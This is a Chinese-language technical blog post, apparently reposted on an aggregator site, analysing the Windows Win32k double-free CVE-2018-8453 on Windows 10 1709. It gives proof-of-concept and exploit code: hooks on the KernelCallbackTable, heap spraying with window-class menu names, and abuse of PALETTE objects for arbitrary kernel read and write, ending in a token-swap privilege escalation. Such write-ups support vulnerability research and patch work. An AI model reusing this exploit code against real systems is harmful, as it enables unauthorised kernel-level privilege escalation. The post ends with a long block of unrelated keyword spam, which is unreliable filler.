CVE-2018-8453 Win32k漏洞分析说明

栏目:技术教程 发布时间 2020-10-15 人气 

来源:https://www.y4f.net/202329.html

TAG:无

侵权:admin@heimacode.com

免责声明:本文图片引用自网络,如有侵权请联系我们予以删除

黑码网发布此文仅为传递信息,不代表黑码网认同其观点。

简介:求内推,明年毕业CVE-2018-8453是一种UAF类型的漏洞,漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放了的窗口设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷,可以控制窗口对象销毁时在xxxFreeWindow函数中回调f...

求内推,明年毕业
CVE-2018-8453是一种UAF类型的漏洞,漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放了的窗口设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷,可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。

poc和exp都来自晏子霜师傅的博客。

<!--more-->

配置漏洞触发环境

[+] win10 x64 1709[+] windbg preview 1.0.2001.02001

BSOD分析

首先,我们将poc放入虚拟机中并运行,触发崩溃之后转到windbg中。先查看漏洞成因

程序试图释放一块已经释放了的pool,说明这是一个经典的Double Free漏洞。看一下这个pool的属性

这是一个0x80大小的session pool,划重点,这里后面要用到的。接着看一下调用关系


静态分析可知,win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是传递参数的工具人,将win32kfull!xxxSBTrackInit传入的参数传递给nt!ExFreePoolWithTag函数,所以我们还需要接着分析win32kfull!xxxSBTrackInit函数。

win32kfull!xxxSBTrackInit函数实现滚动条的鼠标跟随,当用户在一个滚动条按下左键(左键也是重点,后面会用)时,系统就会产生一个SBTrack结构保存用户鼠标的当前位置;用户松开鼠标时,系统会释放SBTrack结构。具体细节我们可以通过 Windows 2000 的源码来深入了解:

pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);if (pSBTrack == NULL)    return;pSBTrack->hTimerSB = 0;pSBTrack->fHitOld = FALSE;pSBTrack->xxxpfnSB = xxxTrackBox;pSBTrack->spwndTrack = NULL;pSBTrack->spwndSB = NULL;pSBTrack->spwndSBNotify = NULL;Lock(&pSBTrack->spwndTrack, pwnd);PWNDTOPSBTRACK(pwnd) = pSBTrack;pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);if (pSBTrack == NULL)    return;

win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保存SBTrack的结构,将其保存在指针pSBTrack中,之后对SBTrack结构进行了一些初始化。

xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) {        if (!xxxGetMessage(&msg, NULL, 0, 0)) {            // Note: after xxx, pSBTrack may no longer be valid            break;        }        if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) {            cmd = msg.message;            if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <=                    WM_MOUSELAST) || (cmd >= WM_KEYFIRST &&                    cmd <= WM_KEYLAST))) {                cmd = SystoChar(cmd, msg.lParam);                // After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or                // xxxDispatchMessage, re-evaluate pSBTrack.                REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");                if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB)))                    // mode cancelled -- exit track loop                    return;                (*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc);            } else {                xxxTranslateMessage(&msg, 0);                xxxDispatchMessage(&msg);            }        }    }

接着调用xxxSBTrackLoop函数来循环处理用户的消息,该函数循环获取消息、判断消息、分发消息。当用户放开鼠标时,xxxSBTrackLoop停止追踪消息,退出之后释放pSBTrack指向的内存。

// After xxx, re-evaluate pSBTrackREEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");if (pSBTrack) {    Unlock(&pSBTrack->spwndSBNotify);    Unlock(&pSBTrack->spwndSB);    Unlock(&pSBTrack->spwndTrack);    UserFreePool(pSBTrack);    PWNDTOPSBTRACK(pwnd) = NULL;}

xxxSBTrackLoop循环结束之后解引用了几个窗口的引用,然后释放掉pSBTrack指向的内存。

按理来说这里是不会报错的,以上这些操作都是正常流程,但double free的错误提示说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了,在哪里我们不得而知,先尝试下一个内存访问断点。

ba r8 ffff8d3dc1d2e9c0

断了几次都在申请内存的时候,最终,我们可以断在nt!ExFreePoolWithTag函数,该函数正打算释放pSTBrack,看起来和第二次释放没什么区别,但看一下堆栈就发现问题所在了。

这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前,就是这次本不该发生的释放导致了Double Free的发生。先看最上面标记出来的代码,这次是一个xxxEndScrell函数调用了Win32FreePool,该函数源码如下

void xxxEndScroll(    PWND pwnd,    BOOL fCancel){    UINT oldcmd;    PSBTRACK pSBTrack;    CheckLock(pwnd);    UserAssert(!IsWinEventNotifyDeferred());    pSBTrack = PWNDTOPSBTRACK(pwnd);    if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {        (省略部分内容)        pSBTrack->xxxpfnSB = NULL;        /*         * Unlock structure members so they are no longer holding down windows.         */        Unlock(&pSBTrack->spwndSB);        Unlock(&pSBTrack->spwndSBNotify);        Unlock(&pSBTrack->spwndTrack);        UserFreePool(pSBTrack);        PWNDTOPSBTRACK(pwnd) = NULL;    }}

只要我们能够通过if的判断,那么就能成功释放pSBTrack。因为程序是单线程,所以创建的窗口都是用的原来的SBTrack,自然而然的,pSBTrack和pSBTrack->xxxpfnSB != NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过调用SetCapture函数来直接设置。

xxxEndScroll函数的作用我们已经知道了,接着继续循着调用路径追溯

void xxxDWP_DoCancelMode(    PWND pwnd){    (省略)    if (pwndCapture == pwnd) {        PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);        if (pSBTrack && (pSBTrack->xxxpfnSB != NULL))            xxxEndScroll(pwnd, TRUE);    (省略)

继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息,如下

LRESULT xxxDefWindowProc(    PWND pwnd,    UINT message,    WPARAM wParam,    LPARAM lParam){    (省略)    case WM_CANCELMODE:        {            /*             * Terminate any modes the system might             * be in, such as scrollbar tracking, menu mode,             * button capture, etc.             */            xxxDWP_DoCancelMode(pwnd);        }        break;    (省略)

如果xxxDefWindowProc函数收到了WM_CANCELMODE,就可以去执行xxxEndScroll来释放SBTrack结构。

至此,我们对这个漏洞已经有一个初步认识了,大概有以下情报

[+] 漏洞的成因是程序对一个0x80大小的session poll进行了两次释放[+] 第一次释放发生在poc的fnDWORDHook中,通过调用xxxEndScroll函数来实现[+] 第二次释放发生在xxxSBTrackInit函数,当xxxSBTrackLoop函数结束时会释放pSBTrack

poc分析

创建窗口

UINT CreateWindows(VOID) {    HINSTANCE hInstance;    WNDCLASS wndclass = { 0 };    {        hInstance = GetModuleHandleA(0);        wndclass.style = CS_HREDRAW | CS_VREDRAW;        wndclass.lpfnWndProc = DefWindowProc;        wndclass.hInstance = hInstance;        wndclass.cbClsExtra = 0x00;        wndclass.cbWndExtra = 0x08;        wndclass.lpszClassName = "case";        if (!RegisterClassA(&wndclass)) {            cout << "RegisterClass Error!" << endl;            return 1;        }    }    Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);    if (!Window) {        cout << "Create Window Error!" << endl;        return 1;    }    //保存句柄在扩展内存中    SetWindowLongA(Window, 0, (ULONG)Window);    //WS_CHILD |    SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);    cout << "Window:0x" << hex << Window << endl;    cout << "SrollBar:0x" << hex << SrollBar << endl;}

注册窗口类并产生一个主窗口,以主窗口为父窗口再创建一个滚动条子控件。只注意两个地方就可以了,wndclass.cbWndExtra = 0x08子窗口属性设置为WS_CHILD,后面分析的时候会讲原因。

回调函数Hook

//Windows10 1709 X64VOID Hook_Init(VOID) {    DWORD OldType = 0;    ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);    VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);    //fnDWORD    fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02);    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;    //xxxClientAllocWindowClassExtraBytes    xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x7E);    //0x80    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;}

首先获得KernelCallbackTable的地址,至于为什么是PEB+0x58,可以通过在windbg下dt _PEB @$peb查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行,这样我们可以直接通过赋值来修改其中的函数地址,这里我们修改了fnDWORDxxxClientAllocWindowClassExtraBytes

这两段代码是触发崩溃之前很重要的准备工作,但是有好多东西不明不白,你可能有以下问题

[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?[+] 为什么要设置wndclass.cbWndExtra = 0x08?[+] 为什么要滚动条必须设置为WS_CHILD?

这些问题都会在接下来的触发过程分析中得到解答。

触发过程分析

{    //Hook    Hook_Init();    Flag = 1;    //debug    DebugBreak();    //向滚动条发送点击消息    SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);}

在执行完Hook_Init函数之后,我们的准备工作已经基本完成了。首先向滚动条发送WM_LBUTTONDOWN消息,滚动条会调用xxxSBTrack函数来实现滚动条的鼠标跟随并且用SBTrack来保存鼠标位置,之后会调用xxxSBTrackLoop循环获取鼠标消息。xxxSBTrackLoop循环会调用fnDWORD回调函数来回到R3,如果我们hook fnDWORD的话,就可以在xxxSBRrackInit函数执行期间进行一些额外的操作,这就是为什么hook fnDWORD的原因。额外操作具体如下

VOID fnDWORDHook(PMSG MSG) {    if (Flag) {        Flag = 0;        DestroyWindow(Window);    }    if (*((PULONG64)MSG + 1) == 0x70) {        cout << "SendMessage" << endl;        SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);    }    fnDword(MSG);}

因为其他地方也可能会调用fnDWORD回调函数,所以我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if,通过Flag的值判断是否进入,这里我们调用DestroyWindow(Window)来释放父窗口。在windows 2000的源码中简单跟进了一下,我们得知DestroyWindow函数调用xxxDestroyWindow函数,xxxDestroyWindow又去调用xxxFreeWindow函数。在xxxFreeWindow函数中,我们观察一下cbWndExtra相关的内容

首先判断是否存在窗口扩展结构,如果存在的话则调用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间,这就是为什么我们要设置wndclass.cbWndExtra = 0x08的原因。接着我们查看一下该函数的实现

这里调用了用户模式回调函数,是peb->KernelCallbackTable)[126]所在的地址,该处正好就是我们hook的

xxxClientAllocWindowClassExtraBytes。所以我们前面特地设置wndclass.cbWndExtra = 0x08和hook了xxxClientAllocWindowClassExtraBytes都是为了进入这个函数,然后调用我们的hook函数。

VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) {    if ((*(HWND*)*(HWND*)MSG) == Window) {        cout << "xxxClientAllocWindowClassExtraBytes" << endl;        //为什么要创建新滚动条控件呢,因为子滚动条控件的父窗口被释放后,无法获取到滚动条的内核地址了        New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);        NtUserSetWindowFNID(Window, 0x2A1);        SetCapture(New_SrollBar);    }    xxxClientAllocWindowClassExtraBytes(MSG);}

在CreateWindows函数中,我们用SetWindowLongA(Window, 0, (ULONG)Window)将句柄保存在了扩展内存之中,现在利用句柄判断是否为父窗口调用了xxxClientAllocWindowClassExtraBytesHook函数。在if中,我们修改了FNID的值,看起来有点迷惑,为什么要设置这些似乎不相关的东西?我们需要回顾一下xxxSBTrackInit中的内容

if (pSBTrack) {    Unlock(&pSBTrack->spwndSBNotify);    Unlock(&pSBTrack->spwndSB);    Unlock(&pSBTrack->spwndTrack);    UserFreePool(pSBTrack);    PWNDTOPSBTRACK(pwnd) = NULL;}

在xxxSBLoop结束后,会对spwndSBNotify和主窗口的引用进行解引用。虽然父窗口已经被释放了,但子窗口还对父窗口有引用,所以相关的pool并没有被释放,但由于这是最后一个引用,HMAssignmentUnlock函数清除赋值锁的过程会减小对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象,销毁时调用win32k!ghati对应表项的销毁例程,并最终调用win32kfull!xxxDestroyWindow对窗口对象进行释放,这就是我们需要定义滚动条子控件的原因。

兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数,刚刚已经分析过了,xxxDestroyWindow调用xxxFreeWindow来释放窗口,而FNID为释放窗口的Flag属性,我们把FNID修改为了0x2A1,正好可以通过下图的验证

过了验证之后我们会再一次调用fnDWORDHook函数并发送0x70的Message,回顾一下我们的fnDWORDHook

VOID fnDWORDHook(PMSG MSG) {    if (Flag) {        Flag = 0;        DestroyWindow(Window);    }    if (*((PULONG64)MSG + 1) == 0x70) {        cout << "SendMessage" << endl;        SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);    }    fnDword(MSG);}

第二个if终于排上了用场,他负责发送一个WM_CANCELMODE消息。在分析BSOD的时候,我们已经分析了xxxEndScroll函数触发的条件,正好就是WM_CANCELMODE消息,这样一来,我们的pSBTrack就会被释放,接着再被win32kfull!SBTrackInit中的Win32FreePool释放,从而造成Double Free。

至此,我们刚刚提出的几个问题也全都解决了:

[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?答:我们可以通过SBTrackloop和xxxFreeWindow调用这两个回调函数,hook之后可以有两次返回r3进行操作的机会。[+] 为什么要设置wndclass.cbWndExtra = 0x08?答:为了回调xxxClientAllocWindowClassExtraBytes。[+] 为什么要滚动条必须设置为WS_CHILD?答:为了引用父窗口,这样才不会在DestroyWindow的时候被直接释放。

触发流程示意图

exp分析

HMAssignmentUnlock的利用姿势

前面我们已经分析过了,在xxxSBTrackLoop循环结束之后,HMAssignmentUnlock函数对spwndSB(父窗口)解引用的时候会调用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。

if (pSBTrack) {    Unlock(&pSBTrack->spwndSBNotify);    Unlock(&pSBTrack->spwndSB);          // 对主窗口解引用    Unlock(&pSBTrack->spwndTrack);       // tagSBTrack解引用    UserFreePool(pSBTrack);    PWNDTOPSBTRACK(pwnd) = NULL;}

注意Unlock(&pSBTrack->spwndTrack);,在解引用tagSBTrack之前,tagSBTrack结构已经被释放了,如果我们堆喷射很多个0x80大小的session来重引用tagSBTrack。

    UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 };    memset(MenuNames, 0x43, 0x80 - 0x20);    *(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette;    *(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette;    while (I < 0x1000) {        sprintf((char*)ClassName, "WindowUaf%d", I);        hInstance = GetModuleHandleA(0);        wndclass.style = CS_HREDRAW | CS_VREDRAW;        wndclass.lpfnWndProc = DefWindowProc;        wndclass.hInstance = hInstance;        wndclass.lpszMenuName = (LPCWSTR)MenuNames;        wndclass.lpszClassName = (LPCWSTR)ClassName;        if (!RegisterClassW(&wndclass)) {            cout << "RegisterClass Error!" << endl;            return 1;        }

我们分配了0x1000个TagCls结构,其中保存着指向lpszMenuName结构的指针,该结构作为0x80的session pool 正好复用tagSBTrack的内存,只要修改MenuNames的内容就可以执行HMAssignmentUnlock(任意值)了。

任意地址-1

HMAssignmentUnlock(任意值)看起来好像作用不大,我们先看看HMAssignmentUnlock函数内部实现

既然我们已经获得了HMAssignmentUnlock(任意值),就等于是控制了rcx,函数内部对[[rcx]+8]减一,也就是我们已经获得了任意地址-1。

泄露PALETTE地址

    memset(MenuNames, 0x43, 0x1000 - 10);    {        hInstance = GetModuleHandleA(0);        wndclass.style = CS_HREDRAW | CS_VREDRAW;        wndclass.lpfnWndProc = DefWindowProc;        wndclass.hInstance = hInstance;        wndclass.lpszMenuName = (LPCWSTR)MenuNames;        wndclass.lpszClassName = L"LEAKWS";        if (!RegisterClassW(&wndclass)) {            cout << "RegisterClass Error!" << endl;            return 1;        }    }

PALETTE调色板在Win10 1709没有开启Type ISOLaTion,而且同样是session pool,我们可以考虑修改该结构来达到任意地址读写。先通过MenuName创建一个0x1000的pool,这是为了取得lpszMenuName的地址,通过它我们可以得到PALETTE的地址。

    //创建窗口在用户映射桌面堆的位置    PTagWnd = (ULONG64)HMValIDAteHandle(hwnd, 0x01);    UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd);    TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;

接着调用HMValidateHandle()函数获取tagWND的用户态桌面堆的地址,又因为tagWND结构中保存了自己在内核堆中的地址,我们可以获得一个相对偏移,通过这个偏移我们可以获取任意结构在内核桌面堆中的地址,又因为tagWND中保存着tagCLS的地址,我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName,也就可以找到PALETTE的地址了。然后释放MenuName,这样内存就会被释放为Free状态,后面讲为什么要释放。

    DestroyWindow(hwnd);    return *(ULONG64*)(TagCls + 0x98);

任意地址读写

现在我们有了目标地址,也有了任意地址-1,已经可以进行一些操作了。虽然靠这个任意地址-1为所欲为是不太可能,但是他可以帮我们构造攻击链,是的,忙活这么半天还只是在进行准备工作,具体攻击链如图所示

PALETTE中的cEntries为该结构的读写范围,pFirstColor是指向调色板项的指针,如果我们能扩大cEntries的范围,就能对pFirstColor进行读写,修改pFirstColor的值,然后就可以调用PALETTE相关的函数对内核数据进行任意读写了。

VOID GetPalette_Address(VOID) {    ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL;    Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));    memset(Palette, 0x42, sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));    Palette->palVersion = 0x0300;    Palette->palNumEntries = 0x1D5;    A_Palette_Address = GetMenuAddress();    cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl;    To_Where_A_Palette = A_Palette_Address + 0x2D - 8;    //内存缩紧    for (UINT I = 0; I < 0x1500; ++I) {        CreatePalette(Palette);    }    UnregisterClassW(L"LEAKWS", GetModuleHandleA(0));    Where_PALETTE = CreatePalette(Palette);    What_PALETTE = CreatePalette(Palette);    cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl;    cout << "What_PALETTE:0x" << hex << What_PALETTE << endl;}

我们设置的cEntries的值为0x1d5,这会分配一个0x800大小的kernel pool,如果分配两个的话就会重新引用刚刚释放的0x1000内存,这样的话,修改cEntries造成OOB之后就可以对*pFirstColoe进行任意读写了。

HMAssignmentUnlock执行两次之后,cEntries的值已经被修改成了0xFFFFFFd5,足够我们进行操作了,通过 SetPaletteEntries() 以及 GetPaletteEntries() 函数即可在Ring3来任意内存读写,提权倒是很轻松了,修改Token就行了。

收尾工作

虽然刚刚的操作很是成功,但是BSOD还是会依旧触发,因为我们通过lpszMenuName引用了pSBTrack,在之后清理进程的时候依然会触发DoubleFree,会影响我们的利用。所以我们需要在UAF_80函数中将所有的IpszMenyNames都保存了起来,利用任意读写将保存lpszMenuName 的结构赋值为0,这样就不会有对pSBTrack的错误释放,而是会在xxxSBTrack的正常流程中仅仅释放一次。

VOID FMenuName(VOID) {    ULONG64 Zero = 0;    UCHAR Menu[0x20] = { 0 };    for (UINT I = 0; I < 0x1000; ++I) {        if (TagCls_Menu_Address[I] == 0) {            continue;        }        *(ULONG64*)Menu = TagCls_Menu_Address[I];        SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu);        SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);    }}

至此,我们成功解决了Double Free和提权,大功告成了!

中电 清洁能源 北理工 四倍 支招 小水 取样 仅为 虎贲 河南郑州 服务商 心衰 竞猜 发电厂 信标 近程 防护 投资机会 方糖 返校 下拉框 通通 文中 汽车消费 伊兰特 评级 划线 还没 硅片 热敏 很怀念 什么东西 法名 切块 汽车企业 算来 专线 中央气象台 股票 防护用品 领导力 大树 露露 不出 器物 起亚 长大 黑板 港元 离心 养老院 菲斯 字谜 卸下 配线架 顶楼 固化 净资产 续集 传输 端口映射 下片 山羊 石油天然气 性格 片区 驿站 电力机车 驱动程序 光学 关口 点击 空港 正负 东信 后轮 莱特 台湾地区 灯不亮 陶土 编辑器 雨水 自变量 老年 他是 助产士 入侵者 怪物 大狗 辽河 发文 发布了 斗法 增城 迅捷 拳王 较上年 r9 降为 液压油
资源来源网络,若未解决请查看原文

本文地址:https://www.heimacode.com/article/60186.html